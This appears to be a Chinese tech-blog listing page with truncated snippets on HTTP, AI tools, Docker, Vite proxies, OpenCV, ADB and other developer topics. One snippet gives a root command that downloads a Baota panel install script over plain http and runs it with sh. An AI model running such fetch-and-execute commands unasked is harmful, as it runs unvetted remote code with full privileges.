HTTP概述 HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超文本传输协议&#xff09;&#xff0c;设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。 HTTP定义了多种请求方法&#xff0c;常用的包括&#xff1a; GET&#xff1a;请求资源。 POST&…...

AI工具评论

deepseek&#xff08;一系列接入R1的工具如&#xff1a;元宝、纳米、C知道、qq浏览器、百度AI、小艺...&#xff0c;应该都是R1满血版吧...&#xff09; kimi 豆包 ------ chatGPT Grok3 cursor github copilot https://zhuanlan.zhihu.com/p/21161495794https://zhuan…...

comfy UI节点缺失dlib库处理

安装出现dlib错误&#xff1a; [!] ERROR: Failed building wheel for dlib Failed to build dlib 依赖环境&#xff1a;python3.12 comfyui 最新版本 pip install dlib 出现错误 直接下代码编译 编译为&#xff1a;dlib-19.24.99-cp312-cp312-win_amd64.whl 下载地址&am…...

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

代理篇12|深入理解 Vite中的Proxy接口代理配置

在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

OPENCV形态学基础之二腐蚀

一.腐蚀的原理 (图1) 数学表达式&#xff1a;dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一&#xff0c;腐蚀跟膨胀属于反向操作&#xff0c;膨胀是把图像图像变大&#xff0c;而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

服务器--宝塔命令

一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行&#xff01; sudo su - 1. CentOS 系统&#xff1a; yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...

Linux离线(zip方式)安装docker

目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1&#xff1a;修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本&#xff1a;CentOS 7 64位 内核版本&#xff1a;3.10.0 相关命令&#xff1a; uname -rcat /etc/os-rele…...

【分享】推荐一些办公小工具

1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由&#xff1a;大部分的转换软件需要收费&#xff0c;要么功能不齐全&#xff0c;而开会员又用不了几次浪费钱&#xff0c;借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南&#xff1a;从入门到实战 一、Grunt 是什么&#xff1f; Grunt是一个基于 Node.js 的前端自动化任务运行器&#xff0c;主要用于自动化执行项目开发中重复性高的任务&#xff0c;例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...